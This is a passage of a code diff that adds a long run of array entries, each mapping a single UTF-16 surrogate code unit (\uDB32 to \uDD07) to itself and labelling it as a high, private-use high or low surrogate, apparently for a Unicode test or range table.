+ ["\uDB32", "\uDB32"], /* Non Private Use High Surrogate */
+ ["\uDB33", "\uDB33"], /* Non Private Use High Surrogate */
+ ["\uDB34", "\uDB34"], /* Non Private Use High Surrogate */
+ ["\uDB35", "\uDB35"], /* Non Private Use High Surrogate */
+ ["\uDB36", "\uDB36"], /* Non Private Use High Surrogate */
+ ["\uDB37", "\uDB37"], /* Non Private Use High Surrogate */
+ ["\uDB38", "\uDB38"], /* Non Private Use High Surrogate */
+ ["\uDB39", "\uDB39"], /* Non Private Use High Surrogate */
+ ["\uDB3A", "\uDB3A"], /* Non Private Use High Surrogate */
+ ["\uDB3B", "\uDB3B"], /* Non Private Use High Surrogate */
+ ["\uDB3C", "\uDB3C"], /* Non Private Use High Surrogate */
+ ["\uDB3D", "\uDB3D"], /* Non Private Use High Surrogate */
+ ["\uDB3E", "\uDB3E"], /* Non Private Use High Surrogate */
+ ["\uDB3F", "\uDB3F"], /* Non Private Use High Surrogate */
+ ["\uDB40", "\uDB40"], /* Non Private Use High Surrogate */
+ ["\uDB41", "\uDB41"], /* Non Private Use High Surrogate */
+ ["\uDB42", "\uDB42"], /* Non Private Use High Surrogate */
+ ["\uDB43", "\uDB43"], /* Non Private Use High Surrogate */
+ ["\uDB44", "\uDB44"], /* Non Private Use High Surrogate */
+ ["\uDB45", "\uDB45"], /* Non Private Use High Surrogate */
+ ["\uDB46", "\uDB46"], /* Non Private Use High Surrogate */
+ ["\uDB47", "\uDB47"], /* Non Private Use High Surrogate */
+ ["\uDB48", "\uDB48"], /* Non Private Use High Surrogate */
+ ["\uDB49", "\uDB49"], /* Non Private Use High Surrogate */
+ ["\uDB4A", "\uDB4A"], /* Non Private Use High Surrogate */
+ ["\uDB4B", "\uDB4B"], /* Non Private Use High Surrogate */
+ ["\uDB4C", "\uDB4C"], /* Non Private Use High Surrogate */
+ ["\uDB4D", "\uDB4D"], /* Non Private Use High Surrogate */
+ ["\uDB4E", "\uDB4E"], /* Non Private Use High Surrogate */
+ ["\uDB4F", "\uDB4F"], /* Non Private Use High Surrogate */
+ ["\uDB50", "\uDB50"], /* Non Private Use High Surrogate */
+ ["\uDB51", "\uDB51"], /* Non Private Use High Surrogate */
+ ["\uDB52", "\uDB52"], /* Non Private Use High Surrogate */
+ ["\uDB53", "\uDB53"], /* Non Private Use High Surrogate */
+ ["\uDB54", "\uDB54"], /* Non Private Use High Surrogate */
+ ["\uDB55", "\uDB55"], /* Non Private Use High Surrogate */
+ ["\uDB56", "\uDB56"], /* Non Private Use High Surrogate */
+ ["\uDB57", "\uDB57"], /* Non Private Use High Surrogate */
+ ["\uDB58", "\uDB58"], /* Non Private Use High Surrogate */
+ ["\uDB59", "\uDB59"], /* Non Private Use High Surrogate */
+ ["\uDB5A", "\uDB5A"], /* Non Private Use High Surrogate */
+ ["\uDB5B", "\uDB5B"], /* Non Private Use High Surrogate */
+ ["\uDB5C", "\uDB5C"], /* Non Private Use High Surrogate */
+ ["\uDB5D", "\uDB5D"], /* Non Private Use High Surrogate */
+ ["\uDB5E", "\uDB5E"], /* Non Private Use High Surrogate */
+ ["\uDB5F", "\uDB5F"], /* Non Private Use High Surrogate */
+ ["\uDB60", "\uDB60"], /* Non Private Use High Surrogate */
+ ["\uDB61", "\uDB61"], /* Non Private Use High Surrogate */
+ ["\uDB62", "\uDB62"], /* Non Private Use High Surrogate */
+ ["\uDB63", "\uDB63"], /* Non Private Use High Surrogate */
+ ["\uDB64", "\uDB64"], /* Non Private Use High Surrogate */
+ ["\uDB65", "\uDB65"], /* Non Private Use High Surrogate */
+ ["\uDB66", "\uDB66"], /* Non Private Use High Surrogate */
+ ["\uDB67", "\uDB67"], /* Non Private Use High Surrogate */
+ ["\uDB68", "\uDB68"], /* Non Private Use High Surrogate */
+ ["\uDB69", "\uDB69"], /* Non Private Use High Surrogate */
+ ["\uDB6A", "\uDB6A"], /* Non Private Use High Surrogate */
+ ["\uDB6B", "\uDB6B"], /* Non Private Use High Surrogate */
+ ["\uDB6C", "\uDB6C"], /* Non Private Use High Surrogate */
+ ["\uDB6D", "\uDB6D"], /* Non Private Use High Surrogate */
+ ["\uDB6E", "\uDB6E"], /* Non Private Use High Surrogate */
+ ["\uDB6F", "\uDB6F"], /* Non Private Use High Surrogate */
+ ["\uDB70", "\uDB70"], /* Non Private Use High Surrogate */
+ ["\uDB71", "\uDB71"], /* Non Private Use High Surrogate */
+ ["\uDB72", "\uDB72"], /* Non Private Use High Surrogate */
+ ["\uDB73", "\uDB73"], /* Non Private Use High Surrogate */
+ ["\uDB74", "\uDB74"], /* Non Private Use High Surrogate */
+ ["\uDB75", "\uDB75"], /* Non Private Use High Surrogate */
+ ["\uDB76", "\uDB76"], /* Non Private Use High Surrogate */
+ ["\uDB77", "\uDB77"], /* Non Private Use High Surrogate */
+ ["\uDB78", "\uDB78"], /* Non Private Use High Surrogate */
+ ["\uDB79", "\uDB79"], /* Non Private Use High Surrogate */
+ ["\uDB7A", "\uDB7A"], /* Non Private Use High Surrogate */
+ ["\uDB7B", "\uDB7B"], /* Non Private Use High Surrogate */
+ ["\uDB7C", "\uDB7C"], /* Non Private Use High Surrogate */
+ ["\uDB7D", "\uDB7D"], /* Non Private Use High Surrogate */
+ ["\uDB7E", "\uDB7E"], /* Non Private Use High Surrogate */
+ ["\uDB7F", "\uDB7F"], /* Non Private Use High Surrogate */
+ ["\uDB80", "\uDB80"], /* Private Use High Surrogate */
+ ["\uDB81", "\uDB81"], /* Private Use High Surrogate */
+ ["\uDB82", "\uDB82"], /* Private Use High Surrogate */
+ ["\uDB83", "\uDB83"], /* Private Use High Surrogate */
+ ["\uDB84", "\uDB84"], /* Private Use High Surrogate */
+ ["\uDB85", "\uDB85"], /* Private Use High Surrogate */
+ ["\uDB86", "\uDB86"], /* Private Use High Surrogate */
+ ["\uDB87", "\uDB87"], /* Private Use High Surrogate */
+ ["\uDB88", "\uDB88"], /* Private Use High Surrogate */
+ ["\uDB89", "\uDB89"], /* Private Use High Surrogate */
+ ["\uDB8A", "\uDB8A"], /* Private Use High Surrogate */
+ ["\uDB8B", "\uDB8B"], /* Private Use High Surrogate */
+ ["\uDB8C", "\uDB8C"], /* Private Use High Surrogate */
+ ["\uDB8D", "\uDB8D"], /* Private Use High Surrogate */
+ ["\uDB8E", "\uDB8E"], /* Private Use High Surrogate */
+ ["\uDB8F", "\uDB8F"], /* Private Use High Surrogate */
+ ["\uDB90", "\uDB90"], /* Private Use High Surrogate */
+ ["\uDB91", "\uDB91"], /* Private Use High Surrogate */
+ ["\uDB92", "\uDB92"], /* Private Use High Surrogate */
+ ["\uDB93", "\uDB93"], /* Private Use High Surrogate */
+ ["\uDB94", "\uDB94"], /* Private Use High Surrogate */
+ ["\uDB95", "\uDB95"], /* Private Use High Surrogate */
+ ["\uDB96", "\uDB96"], /* Private Use High Surrogate */
+ ["\uDB97", "\uDB97"], /* Private Use High Surrogate */
+ ["\uDB98", "\uDB98"], /* Private Use High Surrogate */
+ ["\uDB99", "\uDB99"], /* Private Use High Surrogate */
+ ["\uDB9A", "\uDB9A"], /* Private Use High Surrogate */
+ ["\uDB9B", "\uDB9B"], /* Private Use High Surrogate */
+ ["\uDB9C", "\uDB9C"], /* Private Use High Surrogate */
+ ["\uDB9D", "\uDB9D"], /* Private Use High Surrogate */
+ ["\uDB9E", "\uDB9E"], /* Private Use High Surrogate */
+ ["\uDB9F", "\uDB9F"], /* Private Use High Surrogate */
+ ["\uDBA0", "\uDBA0"], /* Private Use High Surrogate */
+ ["\uDBA1", "\uDBA1"], /* Private Use High Surrogate */
+ ["\uDBA2", "\uDBA2"], /* Private Use High Surrogate */
+ ["\uDBA3", "\uDBA3"], /* Private Use High Surrogate */
+ ["\uDBA4", "\uDBA4"], /* Private Use High Surrogate */
+ ["\uDBA5", "\uDBA5"], /* Private Use High Surrogate */
+ ["\uDBA6", "\uDBA6"], /* Private Use High Surrogate */
+ ["\uDBA7", "\uDBA7"], /* Private Use High Surrogate */
+ ["\uDBA8", "\uDBA8"], /* Private Use High Surrogate */
+ ["\uDBA9", "\uDBA9"], /* Private Use High Surrogate */
+ ["\uDBAA", "\uDBAA"], /* Private Use High Surrogate */
+ ["\uDBAB", "\uDBAB"], /* Private Use High Surrogate */
+ ["\uDBAC", "\uDBAC"], /* Private Use High Surrogate */
+ ["\uDBAD", "\uDBAD"], /* Private Use High Surrogate */
+ ["\uDBAE", "\uDBAE"], /* Private Use High Surrogate */
+ ["\uDBAF", "\uDBAF"], /* Private Use High Surrogate */
+ ["\uDBB0", "\uDBB0"], /* Private Use High Surrogate */
+ ["\uDBB1", "\uDBB1"], /* Private Use High Surrogate */
+ ["\uDBB2", "\uDBB2"], /* Private Use High Surrogate */
+ ["\uDBB3", "\uDBB3"], /* Private Use High Surrogate */
+ ["\uDBB4", "\uDBB4"], /* Private Use High Surrogate */
+ ["\uDBB5", "\uDBB5"], /* Private Use High Surrogate */
+ ["\uDBB6", "\uDBB6"], /* Private Use High Surrogate */
+ ["\uDBB7", "\uDBB7"], /* Private Use High Surrogate */
+ ["\uDBB8", "\uDBB8"], /* Private Use High Surrogate */
+ ["\uDBB9", "\uDBB9"], /* Private Use High Surrogate */
+ ["\uDBBA", "\uDBBA"], /* Private Use High Surrogate */
+ ["\uDBBB", "\uDBBB"], /* Private Use High Surrogate */
+ ["\uDBBC", "\uDBBC"], /* Private Use High Surrogate */
+ ["\uDBBD", "\uDBBD"], /* Private Use High Surrogate */
+ ["\uDBBE", "\uDBBE"], /* Private Use High Surrogate */
+ ["\uDBBF", "\uDBBF"], /* Private Use High Surrogate */
+ ["\uDBC0", "\uDBC0"], /* Private Use High Surrogate */
+ ["\uDBC1", "\uDBC1"], /* Private Use High Surrogate */
+ ["\uDBC2", "\uDBC2"], /* Private Use High Surrogate */
+ ["\uDBC3", "\uDBC3"], /* Private Use High Surrogate */
+ ["\uDBC4", "\uDBC4"], /* Private Use High Surrogate */
+ ["\uDBC5", "\uDBC5"], /* Private Use High Surrogate */
+ ["\uDBC6", "\uDBC6"], /* Private Use High Surrogate */
+ ["\uDBC7", "\uDBC7"], /* Private Use High Surrogate */
+ ["\uDBC8", "\uDBC8"], /* Private Use High Surrogate */
+ ["\uDBC9", "\uDBC9"], /* Private Use High Surrogate */
+ ["\uDBCA", "\uDBCA"], /* Private Use High Surrogate */
+ ["\uDBCB", "\uDBCB"], /* Private Use High Surrogate */
+ ["\uDBCC", "\uDBCC"], /* Private Use High Surrogate */
+ ["\uDBCD", "\uDBCD"], /* Private Use High Surrogate */
+ ["\uDBCE", "\uDBCE"], /* Private Use High Surrogate */
+ ["\uDBCF", "\uDBCF"], /* Private Use High Surrogate */
+ ["\uDBD0", "\uDBD0"], /* Private Use High Surrogate */
+ ["\uDBD1", "\uDBD1"], /* Private Use High Surrogate */
+ ["\uDBD2", "\uDBD2"], /* Private Use High Surrogate */
+ ["\uDBD3", "\uDBD3"], /* Private Use High Surrogate */
+ ["\uDBD4", "\uDBD4"], /* Private Use High Surrogate */
+ ["\uDBD5", "\uDBD5"], /* Private Use High Surrogate */
+ ["\uDBD6", "\uDBD6"], /* Private Use High Surrogate */
+ ["\uDBD7", "\uDBD7"], /* Private Use High Surrogate */
+ ["\uDBD8", "\uDBD8"], /* Private Use High Surrogate */
+ ["\uDBD9", "\uDBD9"], /* Private Use High Surrogate */
+ ["\uDBDA", "\uDBDA"], /* Private Use High Surrogate */
+ ["\uDBDB", "\uDBDB"], /* Private Use High Surrogate */
+ ["\uDBDC", "\uDBDC"], /* Private Use High Surrogate */
+ ["\uDBDD", "\uDBDD"], /* Private Use High Surrogate */
+ ["\uDBDE", "\uDBDE"], /* Private Use High Surrogate */
+ ["\uDBDF", "\uDBDF"], /* Private Use High Surrogate */
+ ["\uDBE0", "\uDBE0"], /* Private Use High Surrogate */
+ ["\uDBE1", "\uDBE1"], /* Private Use High Surrogate */
+ ["\uDBE2", "\uDBE2"], /* Private Use High Surrogate */
+ ["\uDBE3", "\uDBE3"], /* Private Use High Surrogate */
+ ["\uDBE4", "\uDBE4"], /* Private Use High Surrogate */
+ ["\uDBE5", "\uDBE5"], /* Private Use High Surrogate */
+ ["\uDBE6", "\uDBE6"], /* Private Use High Surrogate */
+ ["\uDBE7", "\uDBE7"], /* Private Use High Surrogate */
+ ["\uDBE8", "\uDBE8"], /* Private Use High Surrogate */
+ ["\uDBE9", "\uDBE9"], /* Private Use High Surrogate */
+ ["\uDBEA", "\uDBEA"], /* Private Use High Surrogate */
+ ["\uDBEB", "\uDBEB"], /* Private Use High Surrogate */
+ ["\uDBEC", "\uDBEC"], /* Private Use High Surrogate */
+ ["\uDBED", "\uDBED"], /* Private Use High Surrogate */
+ ["\uDBEE", "\uDBEE"], /* Private Use High Surrogate */
+ ["\uDBEF", "\uDBEF"], /* Private Use High Surrogate */
+ ["\uDBF0", "\uDBF0"], /* Private Use High Surrogate */
+ ["\uDBF1", "\uDBF1"], /* Private Use High Surrogate */
+ ["\uDBF2", "\uDBF2"], /* Private Use High Surrogate */
+ ["\uDBF3", "\uDBF3"], /* Private Use High Surrogate */
+ ["\uDBF4", "\uDBF4"], /* Private Use High Surrogate */
+ ["\uDBF5", "\uDBF5"], /* Private Use High Surrogate */
+ ["\uDBF6", "\uDBF6"], /* Private Use High Surrogate */
+ ["\uDBF7", "\uDBF7"], /* Private Use High Surrogate */
+ ["\uDBF8", "\uDBF8"], /* Private Use High Surrogate */
+ ["\uDBF9", "\uDBF9"], /* Private Use High Surrogate */
+ ["\uDBFA", "\uDBFA"], /* Private Use High Surrogate */
+ ["\uDBFB", "\uDBFB"], /* Private Use High Surrogate */
+ ["\uDBFC", "\uDBFC"], /* Private Use High Surrogate */
+ ["\uDBFD", "\uDBFD"], /* Private Use High Surrogate */
+ ["\uDBFE", "\uDBFE"], /* Private Use High Surrogate */
+ ["\uDBFF", "\uDBFF"], /* Private Use High Surrogate */
+ ["\uDC00", "\uDC00"], /* Low Surrogate */
+ ["\uDC01", "\uDC01"], /* Low Surrogate */
+ ["\uDC02", "\uDC02"], /* Low Surrogate */
+ ["\uDC03", "\uDC03"], /* Low Surrogate */
+ ["\uDC04", "\uDC04"], /* Low Surrogate */
+ ["\uDC05", "\uDC05"], /* Low Surrogate */
+ ["\uDC06", "\uDC06"], /* Low Surrogate */
+ ["\uDC07", "\uDC07"], /* Low Surrogate */
+ ["\uDC08", "\uDC08"], /* Low Surrogate */
+ ["\uDC09", "\uDC09"], /* Low Surrogate */
+ ["\uDC0A", "\uDC0A"], /* Low Surrogate */
+ ["\uDC0B", "\uDC0B"], /* Low Surrogate */
+ ["\uDC0C", "\uDC0C"], /* Low Surrogate */
+ ["\uDC0D", "\uDC0D"], /* Low Surrogate */
+ ["\uDC0E", "\uDC0E"], /* Low Surrogate */
+ ["\uDC0F", "\uDC0F"], /* Low Surrogate */
+ ["\uDC10", "\uDC10"], /* Low Surrogate */
+ ["\uDC11", "\uDC11"], /* Low Surrogate */
+ ["\uDC12", "\uDC12"], /* Low Surrogate */
+ ["\uDC13", "\uDC13"], /* Low Surrogate */
+ ["\uDC14", "\uDC14"], /* Low Surrogate */
+ ["\uDC15", "\uDC15"], /* Low Surrogate */
+ ["\uDC16", "\uDC16"], /* Low Surrogate */
+ ["\uDC17", "\uDC17"], /* Low Surrogate */
+ ["\uDC18", "\uDC18"], /* Low Surrogate */
+ ["\uDC19", "\uDC19"], /* Low Surrogate */
+ ["\uDC1A", "\uDC1A"], /* Low Surrogate */
+ ["\uDC1B", "\uDC1B"], /* Low Surrogate */
+ ["\uDC1C", "\uDC1C"], /* Low Surrogate */
+ ["\uDC1D", "\uDC1D"], /* Low Surrogate */
+ ["\uDC1E", "\uDC1E"], /* Low Surrogate */
+ ["\uDC1F", "\uDC1F"], /* Low Surrogate */
+ ["\uDC20", "\uDC20"], /* Low Surrogate */
+ ["\uDC21", "\uDC21"], /* Low Surrogate */
+ ["\uDC22", "\uDC22"], /* Low Surrogate */
+ ["\uDC23", "\uDC23"], /* Low Surrogate */
+ ["\uDC24", "\uDC24"], /* Low Surrogate */
+ ["\uDC25", "\uDC25"], /* Low Surrogate */
+ ["\uDC26", "\uDC26"], /* Low Surrogate */
+ ["\uDC27", "\uDC27"], /* Low Surrogate */
+ ["\uDC28", "\uDC28"], /* Low Surrogate */
+ ["\uDC29", "\uDC29"], /* Low Surrogate */
+ ["\uDC2A", "\uDC2A"], /* Low Surrogate */
+ ["\uDC2B", "\uDC2B"], /* Low Surrogate */
+ ["\uDC2C", "\uDC2C"], /* Low Surrogate */
+ ["\uDC2D", "\uDC2D"], /* Low Surrogate */
+ ["\uDC2E", "\uDC2E"], /* Low Surrogate */
+ ["\uDC2F", "\uDC2F"], /* Low Surrogate */
+ ["\uDC30", "\uDC30"], /* Low Surrogate */
+ ["\uDC31", "\uDC31"], /* Low Surrogate */
+ ["\uDC32", "\uDC32"], /* Low Surrogate */
+ ["\uDC33", "\uDC33"], /* Low Surrogate */
+ ["\uDC34", "\uDC34"], /* Low Surrogate */
+ ["\uDC35", "\uDC35"], /* Low Surrogate */
+ ["\uDC36", "\uDC36"], /* Low Surrogate */
+ ["\uDC37", "\uDC37"], /* Low Surrogate */
+ ["\uDC38", "\uDC38"], /* Low Surrogate */
+ ["\uDC39", "\uDC39"], /* Low Surrogate */
+ ["\uDC3A", "\uDC3A"], /* Low Surrogate */
+ ["\uDC3B", "\uDC3B"], /* Low Surrogate */
+ ["\uDC3C", "\uDC3C"], /* Low Surrogate */
+ ["\uDC3D", "\uDC3D"], /* Low Surrogate */
+ ["\uDC3E", "\uDC3E"], /* Low Surrogate */
+ ["\uDC3F", "\uDC3F"], /* Low Surrogate */
+ ["\uDC40", "\uDC40"], /* Low Surrogate */
+ ["\uDC41", "\uDC41"], /* Low Surrogate */
+ ["\uDC42", "\uDC42"], /* Low Surrogate */
+ ["\uDC43", "\uDC43"], /* Low Surrogate */
+ ["\uDC44", "\uDC44"], /* Low Surrogate */
+ ["\uDC45", "\uDC45"], /* Low Surrogate */
+ ["\uDC46", "\uDC46"], /* Low Surrogate */
+ ["\uDC47", "\uDC47"], /* Low Surrogate */
+ ["\uDC48", "\uDC48"], /* Low Surrogate */
+ ["\uDC49", "\uDC49"], /* Low Surrogate */
+ ["\uDC4A", "\uDC4A"], /* Low Surrogate */
+ ["\uDC4B", "\uDC4B"], /* Low Surrogate */
+ ["\uDC4C", "\uDC4C"], /* Low Surrogate */
+ ["\uDC4D", "\uDC4D"], /* Low Surrogate */
+ ["\uDC4E", "\uDC4E"], /* Low Surrogate */
+ ["\uDC4F", "\uDC4F"], /* Low Surrogate */
+ ["\uDC50", "\uDC50"], /* Low Surrogate */
+ ["\uDC51", "\uDC51"], /* Low Surrogate */
+ ["\uDC52", "\uDC52"], /* Low Surrogate */
+ ["\uDC53", "\uDC53"], /* Low Surrogate */
+ ["\uDC54", "\uDC54"], /* Low Surrogate */
+ ["\uDC55", "\uDC55"], /* Low Surrogate */
+ ["\uDC56", "\uDC56"], /* Low Surrogate */
+ ["\uDC57", "\uDC57"], /* Low Surrogate */
+ ["\uDC58", "\uDC58"], /* Low Surrogate */
+ ["\uDC59", "\uDC59"], /* Low Surrogate */
+ ["\uDC5A", "\uDC5A"], /* Low Surrogate */
+ ["\uDC5B", "\uDC5B"], /* Low Surrogate */
+ ["\uDC5C", "\uDC5C"], /* Low Surrogate */
+ ["\uDC5D", "\uDC5D"], /* Low Surrogate */
+ ["\uDC5E", "\uDC5E"], /* Low Surrogate */
+ ["\uDC5F", "\uDC5F"], /* Low Surrogate */
+ ["\uDC60", "\uDC60"], /* Low Surrogate */
+ ["\uDC61", "\uDC61"], /* Low Surrogate */
+ ["\uDC62", "\uDC62"], /* Low Surrogate */
+ ["\uDC63", "\uDC63"], /* Low Surrogate */
+ ["\uDC64", "\uDC64"], /* Low Surrogate */
+ ["\uDC65", "\uDC65"], /* Low Surrogate */
+ ["\uDC66", "\uDC66"], /* Low Surrogate */
+ ["\uDC67", "\uDC67"], /* Low Surrogate */
+ ["\uDC68", "\uDC68"], /* Low Surrogate */
+ ["\uDC69", "\uDC69"], /* Low Surrogate */
+ ["\uDC6A", "\uDC6A"], /* Low Surrogate */
+ ["\uDC6B", "\uDC6B"], /* Low Surrogate */
+ ["\uDC6C", "\uDC6C"], /* Low Surrogate */
+ ["\uDC6D", "\uDC6D"], /* Low Surrogate */
+ ["\uDC6E", "\uDC6E"], /* Low Surrogate */
+ ["\uDC6F", "\uDC6F"], /* Low Surrogate */
+ ["\uDC70", "\uDC70"], /* Low Surrogate */
+ ["\uDC71", "\uDC71"], /* Low Surrogate */
+ ["\uDC72", "\uDC72"], /* Low Surrogate */
+ ["\uDC73", "\uDC73"], /* Low Surrogate */
+ ["\uDC74", "\uDC74"], /* Low Surrogate */
+ ["\uDC75", "\uDC75"], /* Low Surrogate */
+ ["\uDC76", "\uDC76"], /* Low Surrogate */
+ ["\uDC77", "\uDC77"], /* Low Surrogate */
+ ["\uDC78", "\uDC78"], /* Low Surrogate */
+ ["\uDC79", "\uDC79"], /* Low Surrogate */
+ ["\uDC7A", "\uDC7A"], /* Low Surrogate */
+ ["\uDC7B", "\uDC7B"], /* Low Surrogate */
+ ["\uDC7C", "\uDC7C"], /* Low Surrogate */
+ ["\uDC7D", "\uDC7D"], /* Low Surrogate */
+ ["\uDC7E", "\uDC7E"], /* Low Surrogate */
+ ["\uDC7F", "\uDC7F"], /* Low Surrogate */
+ ["\uDC80", "\uDC80"], /* Low Surrogate */
+ ["\uDC81", "\uDC81"], /* Low Surrogate */
+ ["\uDC82", "\uDC82"], /* Low Surrogate */
+ ["\uDC83", "\uDC83"], /* Low Surrogate */
+ ["\uDC84", "\uDC84"], /* Low Surrogate */
+ ["\uDC85", "\uDC85"], /* Low Surrogate */
+ ["\uDC86", "\uDC86"], /* Low Surrogate */
+ ["\uDC87", "\uDC87"], /* Low Surrogate */
+ ["\uDC88", "\uDC88"], /* Low Surrogate */
+ ["\uDC89", "\uDC89"], /* Low Surrogate */
+ ["\uDC8A", "\uDC8A"], /* Low Surrogate */
+ ["\uDC8B", "\uDC8B"], /* Low Surrogate */
+ ["\uDC8C", "\uDC8C"], /* Low Surrogate */
+ ["\uDC8D", "\uDC8D"], /* Low Surrogate */
+ ["\uDC8E", "\uDC8E"], /* Low Surrogate */
+ ["\uDC8F", "\uDC8F"], /* Low Surrogate */
+ ["\uDC90", "\uDC90"], /* Low Surrogate */
+ ["\uDC91", "\uDC91"], /* Low Surrogate */
+ ["\uDC92", "\uDC92"], /* Low Surrogate */
+ ["\uDC93", "\uDC93"], /* Low Surrogate */
+ ["\uDC94", "\uDC94"], /* Low Surrogate */
+ ["\uDC95", "\uDC95"], /* Low Surrogate */
+ ["\uDC96", "\uDC96"], /* Low Surrogate */
+ ["\uDC97", "\uDC97"], /* Low Surrogate */
+ ["\uDC98", "\uDC98"], /* Low Surrogate */
+ ["\uDC99", "\uDC99"], /* Low Surrogate */
+ ["\uDC9A", "\uDC9A"], /* Low Surrogate */
+ ["\uDC9B", "\uDC9B"], /* Low Surrogate */
+ ["\uDC9C", "\uDC9C"], /* Low Surrogate */
+ ["\uDC9D", "\uDC9D"], /* Low Surrogate */
+ ["\uDC9E", "\uDC9E"], /* Low Surrogate */
+ ["\uDC9F", "\uDC9F"], /* Low Surrogate */
+ ["\uDCA0", "\uDCA0"], /* Low Surrogate */
+ ["\uDCA1", "\uDCA1"], /* Low Surrogate */
+ ["\uDCA2", "\uDCA2"], /* Low Surrogate */
+ ["\uDCA3", "\uDCA3"], /* Low Surrogate */
+ ["\uDCA4", "\uDCA4"], /* Low Surrogate */
+ ["\uDCA5", "\uDCA5"], /* Low Surrogate */
+ ["\uDCA6", "\uDCA6"], /* Low Surrogate */
+ ["\uDCA7", "\uDCA7"], /* Low Surrogate */
+ ["\uDCA8", "\uDCA8"], /* Low Surrogate */
+ ["\uDCA9", "\uDCA9"], /* Low Surrogate */
+ ["\uDCAA", "\uDCAA"], /* Low Surrogate */
+ ["\uDCAB", "\uDCAB"], /* Low Surrogate */
+ ["\uDCAC", "\uDCAC"], /* Low Surrogate */
+ ["\uDCAD", "\uDCAD"], /* Low Surrogate */
+ ["\uDCAE", "\uDCAE"], /* Low Surrogate */
+ ["\uDCAF", "\uDCAF"], /* Low Surrogate */
+ ["\uDCB0", "\uDCB0"], /* Low Surrogate */
+ ["\uDCB1", "\uDCB1"], /* Low Surrogate */
+ ["\uDCB2", "\uDCB2"], /* Low Surrogate */
+ ["\uDCB3", "\uDCB3"], /* Low Surrogate */
+ ["\uDCB4", "\uDCB4"], /* Low Surrogate */
+ ["\uDCB5", "\uDCB5"], /* Low Surrogate */
+ ["\uDCB6", "\uDCB6"], /* Low Surrogate */
+ ["\uDCB7", "\uDCB7"], /* Low Surrogate */
+ ["\uDCB8", "\uDCB8"], /* Low Surrogate */
+ ["\uDCB9", "\uDCB9"], /* Low Surrogate */
+ ["\uDCBA", "\uDCBA"], /* Low Surrogate */
+ ["\uDCBB", "\uDCBB"], /* Low Surrogate */
+ ["\uDCBC", "\uDCBC"], /* Low Surrogate */
+ ["\uDCBD", "\uDCBD"], /* Low Surrogate */
+ ["\uDCBE", "\uDCBE"], /* Low Surrogate */
+ ["\uDCBF", "\uDCBF"], /* Low Surrogate */
+ ["\uDCC0", "\uDCC0"], /* Low Surrogate */
+ ["\uDCC1", "\uDCC1"], /* Low Surrogate */
+ ["\uDCC2", "\uDCC2"], /* Low Surrogate */
+ ["\uDCC3", "\uDCC3"], /* Low Surrogate */
+ ["\uDCC4", "\uDCC4"], /* Low Surrogate */
+ ["\uDCC5", "\uDCC5"], /* Low Surrogate */
+ ["\uDCC6", "\uDCC6"], /* Low Surrogate */
+ ["\uDCC7", "\uDCC7"], /* Low Surrogate */
+ ["\uDCC8", "\uDCC8"], /* Low Surrogate */
+ ["\uDCC9", "\uDCC9"], /* Low Surrogate */
+ ["\uDCCA", "\uDCCA"], /* Low Surrogate */
+ ["\uDCCB", "\uDCCB"], /* Low Surrogate */
+ ["\uDCCC", "\uDCCC"], /* Low Surrogate */
+ ["\uDCCD", "\uDCCD"], /* Low Surrogate */
+ ["\uDCCE", "\uDCCE"], /* Low Surrogate */
+ ["\uDCCF", "\uDCCF"], /* Low Surrogate */
+ ["\uDCD0", "\uDCD0"], /* Low Surrogate */
+ ["\uDCD1", "\uDCD1"], /* Low Surrogate */
+ ["\uDCD2", "\uDCD2"], /* Low Surrogate */
+ ["\uDCD3", "\uDCD3"], /* Low Surrogate */
+ ["\uDCD4", "\uDCD4"], /* Low Surrogate */
+ ["\uDCD5", "\uDCD5"], /* Low Surrogate */
+ ["\uDCD6", "\uDCD6"], /* Low Surrogate */
+ ["\uDCD7", "\uDCD7"], /* Low Surrogate */
+ ["\uDCD8", "\uDCD8"], /* Low Surrogate */
+ ["\uDCD9", "\uDCD9"], /* Low Surrogate */
+ ["\uDCDA", "\uDCDA"], /* Low Surrogate */
+ ["\uDCDB", "\uDCDB"], /* Low Surrogate */
+ ["\uDCDC", "\uDCDC"], /* Low Surrogate */
+ ["\uDCDD", "\uDCDD"], /* Low Surrogate */
+ ["\uDCDE", "\uDCDE"], /* Low Surrogate */
+ ["\uDCDF", "\uDCDF"], /* Low Surrogate */
+ ["\uDCE0", "\uDCE0"], /* Low Surrogate */
+ ["\uDCE1", "\uDCE1"], /* Low Surrogate */
+ ["\uDCE2", "\uDCE2"], /* Low Surrogate */
+ ["\uDCE3", "\uDCE3"], /* Low Surrogate */
+ ["\uDCE4", "\uDCE4"], /* Low Surrogate */
+ ["\uDCE5", "\uDCE5"], /* Low Surrogate */
+ ["\uDCE6", "\uDCE6"], /* Low Surrogate */
+ ["\uDCE7", "\uDCE7"], /* Low Surrogate */
+ ["\uDCE8", "\uDCE8"], /* Low Surrogate */
+ ["\uDCE9", "\uDCE9"], /* Low Surrogate */
+ ["\uDCEA", "\uDCEA"], /* Low Surrogate */
+ ["\uDCEB", "\uDCEB"], /* Low Surrogate */
+ ["\uDCEC", "\uDCEC"], /* Low Surrogate */
+ ["\uDCED", "\uDCED"], /* Low Surrogate */
+ ["\uDCEE", "\uDCEE"], /* Low Surrogate */
+ ["\uDCEF", "\uDCEF"], /* Low Surrogate */
+ ["\uDCF0", "\uDCF0"], /* Low Surrogate */
+ ["\uDCF1", "\uDCF1"], /* Low Surrogate */
+ ["\uDCF2", "\uDCF2"], /* Low Surrogate */
+ ["\uDCF3", "\uDCF3"], /* Low Surrogate */
+ ["\uDCF4", "\uDCF4"], /* Low Surrogate */
+ ["\uDCF5", "\uDCF5"], /* Low Surrogate */
+ ["\uDCF6", "\uDCF6"], /* Low Surrogate */
+ ["\uDCF7", "\uDCF7"], /* Low Surrogate */
+ ["\uDCF8", "\uDCF8"], /* Low Surrogate */
+ ["\uDCF9", "\uDCF9"], /* Low Surrogate */
+ ["\uDCFA", "\uDCFA"], /* Low Surrogate */
+ ["\uDCFB", "\uDCFB"], /* Low Surrogate */
+ ["\uDCFC", "\uDCFC"], /* Low Surrogate */
+ ["\uDCFD", "\uDCFD"], /* Low Surrogate */
+ ["\uDCFE", "\uDCFE"], /* Low Surrogate */
+ ["\uDCFF", "\uDCFF"], /* Low Surrogate */
+ ["\uDD00", "\uDD00"], /* Low Surrogate */
+ ["\uDD01", "\uDD01"], /* Low Surrogate */
+ ["\uDD02", "\uDD02"], /* Low Surrogate */
+ ["\uDD03", "\uDD03"], /* Low Surrogate */
+ ["\uDD04", "\uDD04"], /* Low Surrogate */
+ ["\uDD05", "\uDD05"], /* Low Surrogate */
+ ["\uDD06", "\uDD06"], /* Low Surrogate */
+ ["\uDD07", "\uDD07"], /* Low Surrogate */
